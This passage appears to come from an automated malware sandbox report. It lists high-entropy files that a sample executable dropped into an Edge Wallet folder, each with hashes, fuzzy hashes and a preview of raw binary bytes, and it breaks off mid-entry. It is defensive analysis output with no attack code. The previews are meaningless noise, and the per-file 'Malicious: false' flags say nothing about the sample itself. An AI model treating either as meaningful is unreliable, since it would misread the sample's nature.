SHA1:	AEA9B08090E9D8F845D1CCA134214017F4F41F41
SHA-256:	20B9037E7C381CF19C656690C247F4117C7B5CF8F200F356625238305850F002
SHA-512:	8250E61B6DED064824F588DD65FB97B9771982A91A802619966A01CC3F40D9B12D0C05FDB8A604D3A45E8D4E57A454C312EE3551B6D350BD69421DB3057D49D8
Malicious:	false
Preview:	!func...g:...h.I.l..v>...7.b.-.s..L..Z[.q....ue0.@.'..Z..aEy/<D.O.. d&.c....=.D.......;.o.3.x.....t...mK.C/..0G....~.t.Z..j_..$...=.5......`....E./"1..._..{.....tJ............X...7.9..4Mv...L..ZQ4@....w.s.........X.......bJS\...W\~..c;Y...3y....F3]U..\^[..4BVy...@....H3..M\|...N4...w...V....O.5cq...5..V.....6.s.lh.&..;..g{.....N[...B..S./....O..B.....@^...o.=....N.cK\|O..+....i.vu..6....Y......O?C....\..88n.?.r{.8...`=.7uu...7S.,&{.up.O.98...v...A..2.0...d..s4..j...k.d....G.6.T.T......3F....k.R.\..f.:....-v.5........q.2...Xa...dL....ZJGc..L.....p.o.oB............."......(.y....97a~!y..g.(....;@.j!.z...@.WOe-u..>.....[...c.....tT,.(<P.;.0...<.I...n......6vtP..; .....TQ..T..V.kl.b.r.(`.., ..._T4............Er%......5.bLk.r}b..6.].DL.}.q.(...1B. \|......DPDQ..&.....ei.{...A.......#...2w....v @..@i.b.O2.4N..k^.........qn.8..wpZA/..v&....0.bDwm..)."..EQ........;O...)9 !'...K.;.....`...1.B..8...{;..{..gk........p..B..U..."..:.!.u.}i.\a.....$Cf7..z>

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\hub-signature.txt

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1309
Entropy (8bit):	7.858972780187568
Encrypted:	false
SSDEEP:	24:R3s6h8Bsh3XffC3gTIOchXyYquQHcSxfgBTjQjd9pbD:lJh8BsFXgg5SXZmHc6cUDJD
MD5:	7E5B572A293D37ED1630F965ACA6BACF
SHA1:	6571AE7D856E6ABFA73521DE1DB411D27B7882B7
SHA-256:	4BB916AEB0B0210A6E99A2CAE7681F2C977AFC47681E4AB1B8989FF243C7AF35
SHA-512:	D305C8EF634273E6472924F1611553D4B1E1558372E6D961D9434011330A20B7BA1BAE8A4700E7EADCF1835D475B8AF4DA88213518FFA522D938A4C6482A3379
Malicious:	false
Preview:	eyJhc..."..3..Wd.-...5U.y .e9.l.H.....=.....B.-...E>..Q...}....S..8..%7-..6s..I8....I....m^.}.I.qnv..y=.5/D........gRt)..S/.E&'^.}.._l..a.................".+.e'..g. ..."u....;!....f).d7r.0..($...X....8...Z.H...t.+"....m.sw.[.d..R..PR.4..gW.1z2).,.3.y.v..<....!2./Z.w...LDoh.N....T3.a......?.}x.!...X.o..........T8i.e..S.....ro...~...BA..v..../...C...F.D...[.Lt/....p.[.T...a.....P.,....T.i.Tu.v..);....(...@.vs....v$Q.q.H&'&......-^.>....N.0y. ..T.p.."......W...!.Z..z..dH..?B}.r2.....$..f.[K....y..E.T/.,..uF.}..n7Hv0 5..K3.P..^u...9.}?....9...P.UG.0.U`..n..W3.S..-.YNV0\|..vH...............mK.{#...x.#3.&.....T.p.f^..t..\|..$..).o.....S.Y.\|K..\zB.#q.Un./.y.:>7..H..7&.lcJ..c.]...+.......lh{.\.\...7.....f...8xi#7U~d.0M..s43.'.k...Nu'.....Uo.r..\G8..>.K.k,%V..l7/#.}....;...A.!.!..r.E....w.{#zB....n......FK........{Q..V._.a....sL.9)...=..y,.).IR%a.d&Jy......2.4.%...{..p...........1.3'oyk.#.!.]...e%.g;.......?1.......Q..SY\0...p.5...[..m.v....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ar\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	18629
Entropy (8bit):	7.988327748421571
Encrypted:	false
SSDEEP:	384:J5wO4c2KtxZBTSb3hZr98bNGXL03Kvs2O/E8/NkYuT65j:J5d4fOBy33reRGYLxkY065j
MD5:	8EA259CC60D7F79612BA6B79B6B805A6
SHA1:	905E8A3A5CE93BEE15107815EB3A966B50A772D2
SHA-256:	4C20719F7F0F244DDFD70D689B23F257AAFCB5672CD417F1B5E865D90BBC1EF0
SHA-512:	092D1FB782ADB85A31A40892B32C4B4B8A26E6C9DE56FB6E9A0DCFDF9EC0708E7AD75DF48D1C8DE9DC5C5E80C6CA5841C0CC32DD0FD8D84BB9B971BCF425A53C
Malicious:	false
Preview:	{. ".%.S.....#KYT..!8/x.xJ.0,..S...d.............C.t......!....eg..n.U.l.@.p.&.......y..\|.W.q...G.lK=.g..RP.n..R...G&..IP....:..F.0H.1..&7..j?..7.v(...#!..s....(.....2.YF.a............d.....+....W...5........0PI..ui.m.../yMu..<..y..[..........%.d.O1y9!..U.Q>..C..i'.!6...b.Bt.!H....R.q.7.J._.`..F.....-.zHp.$..j..?Q)...R.4(..Gy4..C.......%..(............D<....u....Ae7.....WFn.?..._........{;......5...d.+l..dUb..C....Wa$......p..x....s7qwEtF.!...8>[/.G.q\|E.j...&3.f..S.M..y.Vy..........}...>...U.<.p0dh~j$.1.k.q.....~...m8(.!.f4u.$aE..v.7.s.U...F..Q1.j.2\.ZJH....[...+..Q.T.4g.5M..z&F.:...&......8.{S..#".w$,1w...X3>Q4...g=..9{..$..SL..P^j.Dw..F.."UA.......u.la....._.C..7.2..aiQ.3._.}....\|....72h..~.A.[!Jl..tS..3.C.'q...v.t.~..H..DN...".....q2..uI]........>xJ.?.+.$X.K..#...-2..."&>.6.l(....Q.../8....2..G.TI....1,V.j........&..R../C....X......&`.3..x\|.......s.jW._(.......;.C..;A..._scs.~\|..?.C...9f.o...].0....HiPs.....LX3\.$.a.:1..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\de\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	15335
Entropy (8bit):	7.988088369746817
Encrypted:	false
SSDEEP:	384:g++Wq9pEw2LQfwf2rJJh3L/jynQZ6MKHGxVe6KRrP/cdE:rjq9pz2LQftlOw1joZP/P
MD5:	79CAFC81D7E3D40338E9A99A7DEE969A
SHA1:	2D6BA18535B3C92ADBA6FF40E3EAEED6C2DE0683
SHA-256:	E0AA0F1FD9355C8741B32DFACD0E61EDDC8291A634531ACDA6027A8440C3C527
SHA-512:	1A5E78E84CF8652598B03874742BCA915EEF29AEA3F928C7D92D3F93EDF641C9A03A4644386B82A913A96479AEF90A9EF2D39C3889F4F47CA6D6AF7ECEC2BEEA
Malicious:	false
Preview:	{. ".x..\.F...Z..:..:.G....._...8..-...Y..aj.s..:i<.....,.q......#.;S....wte`zS..i.+..?..I./...Y$.YGH'.-....`;...M.. ...5~m..7.k..Mt.....a.L&..l).^........mW.Xs.......)..:..........A..!(.>........"Y4.z.l.ZM...'c...J.ZA.P.w~.7?..(..C....pl..9...m.a.=U.l..j."..A..... ^...'k.A...>.\2...qo.+.Y..0S......5=..y.`.t'.7..7Yz.R...].\|.%.&..w.....+.........@j....9.....=.1.............'T....Ar'.....G.Y4R.vByQ..d....".@Z4.k}.r..q;u...zQ...;.)e.)...dN....C(@w...nr.<p5!.dA.+A(C.[.JY..WQP...x~....8;..7r<l?P.B.U...R...t.U.xju.g!;.7O\.?.<W+T.K._"..y...Q)..?rW.k...f.q...Y....%.HR.d.B.9R.e....,...\.T.i'z...55p5...#.Z..LG..&>.u.>.....L#x^...\|I.5Q.Be._............8."..e..x.....Wl..XH.....[.Xp...=.b.sG..k.V.].L.y9.^..%.Yw..p.P(.2x.U\hv.,;u.U.BM'..p~.3.f.X..4iN0..=........y......:#..e>.Mo.'..(..2.2.+..~......g.C."YYo.'...K<.#..'5I.g\|...'t......n..^u...>..6.A..X..Z..%.:.L.sZ.\|....{A.cM.....R_..J..O..:...Zg0P....4.d.B.#UiM/..E.`...x..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\en-GB\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	13524
Entropy (8bit):	7.986529921346628
Encrypted:	false
SSDEEP:	384:mBOEeUodXf7GI5wTtH0srDvo4ZpYSWj+lzCw:LEeJdXqI5wRXDvleMlOw
MD5:	4ACC86095965C5D4F60F50263AD7515B
SHA1:	38E436819E815F7C9320CF7D1A8EADB74FEF5A4E
SHA-256:	43C625DD3255F0BEFFC094CDD78DBCEEDB5701D5CF4C988F2A53EBE344CDD7AB
SHA-512:	34D0751F2350544DD87FC16FF9F6DA83F9ABBDBFF4D4025C8F31CBE578A884984F1DB3C1125F1D8B6D34C390105C50FA625AD77F547B3272BB5640E358197044
Malicious:	false
Preview:	{. "(......4...a.KTW.._W.!...5_n.?.I.D.8....... ....bL..!.;L.cR9.`W.{<R..._..8...1Y.c~./..O.\.....;.........p.0.2.....\|.C..k....p.\.i...!.....$...[.tm....T..C2...v.q.....z^l!Y.#.0a!!.(1b..0.....Qg.1.....z#r.C{.......^6..Q.........../.....C.2H.fLGzT..L,.Y.J..(.{.Ifn\|5...e.....@P..S..N..p#s...1....v00<.F<v.....g^......._rR.\.....g..U}.Z...^.Z....-.....".N[..E.vo....:..S..)Y...MW..]..%..}.....b0...n9S=(n..s..$..]V....]Iqi.......']$#..\5R..D...h.....~.S#...:).[..u.C.j..]...9O.....sC....xt.k..Q9.g..K..E.=......p........5.B.........S.z:9.n.7v.`47J.xE#.....N...,...n...k......N...5j......T.X.YX."........{.b0..1....c5....56...sq..vx..v.....i..<.......7$....4.......7Pe2."...-.i..Fu.z.I.uw86.Z+..H_?....p...C..wZn..m]'.c..g.V.....?......-&.J.:..7Gb..".......7...'.....&........I].z..~.R0..^.........c#...(=@6w....U.5.!..,....ZEY`[.T...X....0.(/q.....0t+.7?.#..a...f.jA....c9..*..O.Z.VT..G.b.c.....t.9o..+l...O.m"X.n."..Q..f..n.....#....p..z....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\es\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	14923
Entropy (8bit):	7.9867053975988815
Encrypted:	false
SSDEEP:	384:OiA/ekRDCZC1JBAwfyHdqT5LiP+A8kf0o4j7uLHq4sL:nA/VAeBAvUpe4MHqPL
MD5:	D09F15F2E74D160D9CDC613680EBED81
SHA1:	264D8B2EBD641852F07F009B686491A69CFF7C04
SHA-256:	BDE677E2D161BF0BA8382611F8551CA615B10763E782A1CB46D19D17EC689189
SHA-512:	2B7E22768BEE017C277E9BB3F48ABC99FD37BF1249659112DB80A78A5F3881B88C0D4CC9B7D309523C58DC5D06F614561C198563E82BF8A959B226F1DE8E67FF
Malicious:	false
Preview:	{. "4o.....tN?qr.N%..x.`.....e&...u'LD...:.DJ=...-.0)/....).B...T`.@.<..I>.a_d.T....hpg..\ ki..A7!~.#OkB...'.Y......Y-..-_ .H.E...VB;.bQCY..PX....e.].....`...m[..~.....I.....^.'......<<.?>F$...}.\../-...+$nHp.TW......B.[.C....P(..W.TX.\P.).~{C.kw...\|p..}....!.......(P*,._.2;.$.F..;.+.~.p.F.F..N..P.&7.E.....U...7...!...-...#....W.o...I.O...{T..Q..._..Op..(..[W..E....@v......,.'^.WY..WEK.[.v.e9.v.I..&....)._$.C.E/j.:.3.^R..........NO..m..w7r...e....gj...{.....~..!.U6.q..&.J.FSI..4u.@.H.....!q.Ng.A..S.(.8.X..0O.DtUGu.d..V..P.....................v._..KQZ.......Np.'$...\1vf..8.....N.-..j..."M.O...5.bA.V..P...R.2l.V{............W........\|..GL....b... ....... .H.......I.-..../.a....K\|..t.\|...A..RG.%.N.-..<....e&.,...X.TQ.c.e....b0.a. ........}.L...P.3.......P..._..A...._..Q..r...p..;1..\|3..%.;.\..E.y..O..yyo.....g..F....B..../...#...7.....;.......Xz..%........fq..r.........?.....5I.kV...P.....e.jqQ!..V.Y.;....c1.....V........6....7...6.f.2%

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\fr-CA\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	15903
Entropy (8bit):	7.9888441649466415
Encrypted:	false
SSDEEP:	384:VN4ILMSA0/YNcJwh57p8Tgtj3YWDMtcnt/mWvrZSVs9:jygPJwhJpqWrYiMent/v4Va
MD5:	E4B77B6EE72EF9A651CB9EC5EF59A5D9
SHA1:	D2A0A4ED1020558CDE83854904DEC052A6805131
SHA-256:	04CB550C80FDE22DE98EA5CECBC29EE26AAEB6E1E792028A081818CC37BB6CEC
SHA-512:	8A266AA70B82B94C19B70FA98B1E91B45B65B326232CFB7426AEAA712E47E8AF28F67B7D6D6644DB51864A5448CD72D966F14BA75A41A87DAEA12DEC8D48E88C
Malicious:	false
Preview:	{. ".x......f..'.f..XE5J...rn..s<.m..N..~Hn....U.`.#f..&.....0._1...,.2O...6...(.N...4z\........~..U...1N.}..q.5...qZ.U...7.8...^..O0.L&.=.6j..].3&v..?.?..G..0.u.5.V.7gR.....a.....D,C....,s....U.@...[.H.G.......d...qC.......<.^.^Y....._..I.7..Q...5.....Q..pi ..r...Oq.vo....w#.v..ME..)......W.0.]...lZ.g=h.W..~K{..FY..]T;.0B"......Q.......X.l....+.U....[..{...A.1_...,....f.K;.T...(.}..+.....VnX..F=#.p.~s.........5..o.wk.r..5...$...my.".....ae`...C".9.q......E.....6......-pVl.yfb/..b".x..&G.U.{..._..9}.)...c...Ti..]....U.....RW...8..!...c ..]..{..az....O..u.....rS+f'}..5...J.......n..\|....P..hdj.nJ..........[.........i...{KC......W.}.?.u+V5..u>x.h..Co;..........\..+..3o...k\.lz....?.^._.%.@.l....f9%...+_....F...."....6.)j..g...i.........4/..{.....6.C:\|.$.E..K.t.<m.H...S.F.n.......j.. ..........GEC1Ifo.,.?.].......O~....I..@...^..>.D......}.....m(W.^@y...fD.D.d....sm!@.......p@w.x..hZ..@...i(..a...A4.H../..\...Y?...........b..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\fr\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	15895
Entropy (8bit):	7.987423578322798
Encrypted:	false
SSDEEP:	384:ck01ZU8hphv/Nu0CTg/02fbQ3rIIik8/M86W/v2z7HUJ:rIJhv/jCc5bqUIiH/EWmz7Ha
MD5:	E27D82020C9FC6C2A73C346E9B6F933B
SHA1:	84036943D439F77A23F95CEA12AC3BD8BDD8261C
SHA-256:	82EF1B74C0EBA756A44EDE459AED966C24209A327F6463F051B946742B7711C0
SHA-512:	2F89C8AFDAF6401B5FDE01D146750B3F7738ADBA5C8F82AE8409A3FB5F08547512388A63377CADFE56C4D8FD001E792AD1740BE146B17B1BE97EF7EAB862A8FE
Malicious:	false
Preview:	{. ".....Y.7~k!...&..>.....OzkN..Y..+...D,Q5.@...0.""...."~u...2L..{.-.p.W.....:....e.....Q.\.\...K..W.o........e.....p...W/....e.4l....$.j.JJ./R.....(L..'........]..mF.j.....RRBo....V....1..Jm>..$..;)`...u-..............$5.-.\:A.............z..Uvk........y.f...Ql.~.EP.;T.#*...m.?.L......$.....j....lUO.=.3.%L&.n...@.w.rjF....4D.J...v].....L.D.Y...E9aq..YS......=.....`.....3.%X..:G&...cD...J0.4Pm...O..j..c.P.....?..0sVO@H.?...,TU;..$.......[+5......-`....W}...&.,...-.O..J...C\|c...1.?&...E<:...O>+.U.8...Sa..r.7..{...[.i.^\|7@...s.{.v.....'rcs.5...K......;7..r...h. .... .y(.....\.y.7.5..a?.6.e#.=.V..oj4......7..f.Gd...N._.\..kru{.....f....3..I.....9.`4I&....c......u.s&.=..W.+e..Y.y......c/u.zd\|...........y...(3aPwl."..'/.............A...1.5 ...$....;ND.<..?...'kRg..\|.#.....)..o.j`f.....#.g\|.c....X....7...0..w..(Y!`..........U=y.......-.q.,.lx..}1..=......8..Y.N.C......Bx......j.f.+Q.f.g.CW..R.._....7.f&.}.4..b...:.....I...!.....

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\id\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	14493
Entropy (8bit):	7.9856685472377436
Encrypted:	false
SSDEEP:	384:B6AuTzVU0NTY4FmcIbDY+p2aZA2gfyqKw6h3L+z:UzTzVLBBdIn/pjgfyocI
MD5:	A4E5C02CB1D5A15E4D74BA308F382F09
SHA1:	049A6A312977E9A29FCD29A0F04FFE4901A625E5
SHA-256:	6B4D7D26C4D085E6148A9D4E42D6183DBDA488E2659DE17705B5D4C6A0B8E4DC
SHA-512:	75412C95FEF17522879AD12B4629552FB6CBE10E12A68A9AA01397D70730BE143C4C29BAD7D327CDB6E8812940083BEC4B15BC7976A34DCF7B2075F1293C80E6
Malicious:	false
Preview:	{. "..9vt.\|A>...........:.A_.n.....tX1k..p:..b....p..G12........b......x....T..{..O..N9.]z:hiu}n^G...Xv.q.....P.Oc/H/$...X-..q....c...1EQT:.._[.[..M./.g..W.;.....;..9.M+.r.y.if.......k....g...P)...v...'OqJ.....b....[.".0Usb.Q%..j....J{l.G6.r.y";.!.;!+Z.[.7s.....W.....GT.[..y.Gj."V..c..k.:..`.2}..}1.\|.>xr[.....}3lm.p.Ly..Js..........6...l..'+..K.j.s.W......Y....Q.fk..0s.x..p.Z,..2].C3....H.....[.....%..Q..y=.......S..T...fMJ.....S..(.O....H.M.e.t..s...a..1/k.J.0.n.\|..Bh.X..2.kZ:"`4phu.D....$#y.....~...a8..Y.B..).k.b..a9.X..i.I.m@.\|X#....e=..H1...Lj^.?......Q..F..c.be.E..7B\|..........@u8....X.A".x%..8.O.B....P.......M......$.k\.He..9..g0..S'+...~..]....b.....eA)..#...&.~..1..4Q..z.=...)p.4:...).-.c~............\y...`6I3.F..72~BJ3=..td..#.p..>X.O.\|.k6.1.J.q.....5..R..;$.....w{3"..z.%.V..P.#.C.-..M^..n..V......k......:=.....c..r.3.5_..c....1..u..A.q...+..Oy.t...w..[....L.D%.95...."K...T{s..p..D...N..u.YSL/.eg....nQ-g.e.....'j..hJ......o.C..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\it\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	14927
Entropy (8bit):	7.988767377643668
Encrypted:	false
SSDEEP:	384:TwI31M9YmC6qCZCCOzP/7pZEB6rwIoijpMZKTz1xJF+QUklDvQ:TwIF4XOzPtZEB6rtoiWZK3HrHUklE
MD5:	4DFDC37B1F0B4E95EBB590D18391DCC6
SHA1:	6670B53CFAEDE29F59D569C172BA5F7D2B008DCA
SHA-256:	E102E9544CD67A1BF3F59601232FCE0A1D52B20FEF008B8F85DC526D8D75D35B
SHA-512:	C7A392F867C17F9FB83C4D60A0D54E535906B567765DC90495DE68661FE4691930E6F419068CE53E13F9D07F69CF562238C605768E1EF4A3A91E717C73168FB7
Malicious:	false
Preview:	{. "d..`..{................`]N.FG.lN.BI..[J&....!...'..v.\.1.l.u}Yn.r....9...#.m.C......!Li.>.s.1....Or......?.iD{5:MO.@s.UD6..[@P.\|`.t.R..}...a...B]@>.TsNl..$...} ..P..#`.gVW.f)B.e..........?..%..z.8.[A,....t.M.[..qw.N..".DT.r..8_+y.K$'."7.qk...u.3.;.1.^...#...?.....R%U...}:..u.D....4.g..-..`..... .......e0X.+....$\...2r.>:..g.YX....C!...._.#8....O..0i.".._.Q.9...~..&c$.~..g.F....".dZ..V.....Z%.C#?\|..........QG;B=....tP,....a.......m!.\?i}D...W...0...._...(Q.pUt.<.7mvi...GZO.....P79N.A..$S.........9..T.Eq..U....U....?...^L%o..._.Cf.JOF...E..-\..k..{..+.m.mn7<..?....q0.....x.v.5WN}.'D.!a&.@.&.h..<.E.j......B'.....M....'.....D..J ..>6...d!.v..}..?.bB.....O7aXk..k...j.&........a.....;.A...M.. ....`.(.....U9IAj...X...g[...=0AOhc:.+.SSf.[.0[.....OG.8.?."....<.....;...\'...t....,.G..W.!LzeW.+..p..b.W...x..x1u.y....b5.7.nT.()..R........+l..3..9.....W^.1.......v.~..qp.W.....kl.'...S.@.\|...2.=....._..w..(\|.m.....$b6....z9.]....'...o....f

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ja\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	17211
Entropy (8bit):	7.988282926684047
Encrypted:	false
SSDEEP:	384:7cSIxAoBKwgSrQt/CPg/5EdzBcVSU6ISkhfg6QQPY/6HQP:7sxA/+s/hBEdVcV36Gjw/6wP
MD5:	C1A8CB2C4156C12C0B51DD48459D6D0C
SHA1:	966563126D4F5702764A0FB3A919494AD63B5DCD
SHA-256:	003D68A9DF39DE4DF6A7D8E1C4EA50877409C5C3767D8E37666F711CB0FE5015
SHA-512:	84DBC96B1687CC35897FAC9AD50D1EE142D871DE9A2C6963E3685CFF6345DE99B5CF9715173C372E8B029377EAF5F41C24032ECA382DE38DCBE97102E6F65AE2
Malicious:	false
Preview:	{. "...D..uw.,..v......A@....PE........l.U....".....&.7.C].N...p...\..4.v..N....ce.7O.......P..T..rP......d..Q.^..g..F.k...!.....=b...P%S.c.....Z..U....n+;.Y..9........Z.:\......C..1.~...D.F..m1..[......r.`+F.......}.Q.8."_.....&..>..y].K.n..S..l/...9........%`>$..W.$.%.Z.k.d.'....5....i.g..Xq..z:7..Y......(..!F.64fu_......]..+.#d....-C&...I.[.,..O.....t...,..l.L._.x.Q....M...,t8`.!....#.:y.~u.......Z?.Lx..........w$.l....}.8.......J.....%.../K.M...IS..#Q..._..9JId...ph...%?.W-\|W.e............-..t_.N..V..0:.....Z&t.(...Q@~...F....SVp<...?.6.....E.;M..\..\2......Z..$......m...Y..O.x..2J...\|S....tN.o.l..d'h..T.....\|\O{-..`...bQ...P/tK...@... .>.#.x...X.X..t]....@j.$.i.-_..!_.P.6,..e....Tp...]R.C.`).w.t..M...rL..F..L*..#u...'.......t.......sH.GV.gt.M..).....Jgy[.t.f8.H....3..?..2.#SL.5.7..F`>.B{o..R.b.F.D....H...\|:...,0.8.Q>...,h.QPh...<5...x..Cn..7..~..!....B.....n..}i..[.l.4.f...iF..M.Z..s.'.......d..x.B...."..i7....7~..Q{g..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\nl\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	14786
Entropy (8bit):	7.987602065666216
Encrypted:	false
SSDEEP:	384:0zjbHCzeaBH2ubUSRpC6Cg9Nu7FkHWPPafZNw4qQ65Q:03b8BJe6CgPu7FsuPe2LQx
MD5:	6E4F18FA545CF0A4FDA42FC1F9FB4836
SHA1:	F7DBC1BFF24ADB100F0D0510340BB74DD7161096
SHA-256:	C2F9F71DDAA56A7E028B779470E0F2C93F4DD9AD3922E7587C18D1C2F09D2947
SHA-512:	FC7A79F083B045C652B00E473FC13B9DDEB9FA6E8B6F6F76B61F7E34BAB5D12D58FC4D8FE0F8065912FED9EECA9AAECDFB8DB9BD4164A8E66C3EE1CFE1275999
Malicious:	false
Preview:	{. ";..k%..~..F.e...F..?...;Xzj5(.\..\f.{.)...v+\N(....qV..g.g.....ct.7..2.1e.).....N...4...+pk]...{...?&.....2.f0...^4.R.b...c...1...H. ...\|']...'.c...%....>..Z.Pm.7u...uA....L..Y8..9b...i.>.Z...j..d.......!.v........-=.[@.Ixl+.!..U....`.......2.Q...j..U9.......+j..rb..xM]M.......W.e...l..z$..?7.E. -g..+.q0.Z."..$...86O-..D1.5#....RY./..T?/,..ge.W ...9....p.9.e.....L.R<.?y..r.m.HYO.}.)2P...I......\|...o...XhB.#G...;7`........x..L.W..T...N0..A_Fo.u.C........a.E.....0O.#0.m.;9..G.;.rG.?....@*..f^...O.....]~..G[TW...r.A..Sq.GHt.....HM..........)+..S.7.x.)G........!......UJ......4.z.)F.....:0....\.....'D.lF...x...V..WZ'..%.N..G...b..G.........z.[..../6C...?...=.u(W..Q.q_f%..?...gE...2.CNZ.20.......^.a...g.gf....9.....Be..bj..L.g...y.9.5..l[Xg..K.c.<K.$Z..q....g'.....A.\|w0f{.v.m..R....f....cJ. <.....`3Q..-..VM....{....M1.IN..nM..."..#...]G..;.L..u..6E..2E..m....I).....7W.c.:..5.. .>...Z...!..M.z...a..E.C.4(6JX..!o........?}...d.A.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\pt-BR\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	14769
Entropy (8bit):	7.988667289060335
Encrypted:	false
SSDEEP:	192:JDNKEoVRydraytqIIj23BJ+kxM+1sIUoaDHvcPjvB6ZNOz/jjQhj4HNg:JDNKVRWDejABJhT1sIcDvc4H2/jMhjP
MD5:	C8D8ABEDF9BB3181B3BFA96846C1B301
SHA1:	AF1DFCBF4EF70F90AD95DFF7620DC0E2AA699361
SHA-256:	E019611E5692F03551386DF71E28FA597606EFF7B0622299DACD7A0F41B2B665
SHA-512:	283692130382E11B920644264542C51E95B35998690EBDEB9E0C5BCFCFFFAAFAAEFECAE0F9339509F112CED6990110139BBCAF8CD28B493CFF4FCA72BB97BF66
Malicious:	false
Preview:	{. ".s.gP...^....f..u.D.M.u......:......\|8.F.D.^.......-Ru.=ml.M8.L$.<J...e....k..X.tC.O.P.....t..[..6.O.b......rt....9";......Py....]i......O....'2O.&}..e...A5..p_g#D.........4...........X...c..o......e .1C1.....h.$tb.{...(\|.}..h@`...Ro....c....U.@.gRNhik:w.G.W..:..>...!.8..%k...'6..Y........@........w...iN..&'.QW...d...K...K.7.....\....KH.......tC..;...........Y....[.r..0.3.......d..EAz.i.U...NWi..^........v.5...Y...+VUs9./.1Y........3...-.b.D...dp..J.z\3.mU...\...?..:t....!...z'Ie;......."%.MHt...MK...E.;...a,4....^...B........9.\{j....8.x!z..4.$.j...9L......^">.O..N.ICj.1O(....{\.t...>x....{\..UM..`.5.Nv4 .W..MoP<..wb.7w"........-.6..P..j..YI<b.n.NA......./0.K...~E...%.I..s.#......&.j..7u.K.~+2:...<..9[.Y%...);.......nh..NZIXx...b......B..-._....4..'H..F$.....X....!...r.p`3%......q..[.U..=7F.+.`.1l...!R....qxz.j]I6L..U'....k...B'.R.nv..0..jL...T4...3...3..\|1&.....DQ-./R....&A......Z.......0..9.#.....q..i.E.....)5.\|.........cvd.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\pt-PT\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	14956
Entropy (8bit):	7.986366627126865
Encrypted:	false
SSDEEP:	384:NdZYB8/qGVanbVudA45IjJxzwzI9355y4OYDlaRNLnOIaQ556i+:nZq8VVqx+95MJxdk4mRJBaQ7W
MD5:	4440485C335186AD857FA76202A7AED4
SHA1:	1BDAA91D87E53BB5F97295A61427897A0778A6A4
SHA-256:	7BC8DB34914C0B72A45AE97C35A569426D2F33C98FFDE4D73F091C1148D0637B
SHA-512:	63F67525C1DCD163ED29297A6A42775965350017ED5490E5B6D95A54518469F1763E927B7A59D9C524735C264A73E3DB585914DE44B74DF049E3FD134F1A8C53
Malicious:	false
Preview:	{. ".y..<(....Y.N..x&E.Ot6A...j.{kV.u.<....6.a... ...]..g....v.#.N...<.xp..l.....\|.s....i.u.l..Q.&..-\.7....._...b.n.:.b.)..4....K.3Dw.t.O.[2...B=:..W.p....s\|...c.&S.._~.\|..QuO.....dl...]..dL.SW.e..R<[../....;......i.^..n.C.'..n.J....z}..;.....)~.'...-U.\........~a+...R.~.vaT;.xPp.g.S$...[Bxuz.Pd......\|.W...J.8.F....".O&Ym..-9I.R..eP...... ...1&'.._X\>..f.3.h.T.<..".......e..p1HiO.P.I..e.6.;.....=?7. dA..d....o.n..e-.#..,J..............5..I....cc.g<..kU..GDyB.......ap..'2......U..!.i..!.....Q....n.....UN"..]....'.}.....{..h...E.......qt..K1.9...k..Hw.+...%w'.....6.9,.n.....%..?.. o.....R....?....p.0.\|.k>Z...a L.n...c.g~..H...&dd.+...:.f..$.I.....Q..V+...../S..?.G..R...3......<..>....T...ew.....E.8...+\|.h......"4....X.8S.. ..M.%.Ks.D+..A>..q...c.+.G.k.jF....>..N..X.$lo......3......7...... ..c4. .V{.!..g.l\.....i1.&.....!.a..\|".....ZA..1#.p.$...o......a.....{)[.H.It...5...v..L.+>C@AI.m...........#..wt.?.?..j5[\8R.QP5.s.a...vQ]P.`...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\json\i18n-ec\ru\strings.json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	20815
Entropy (8bit):	7.990964958405721
Encrypted:	true
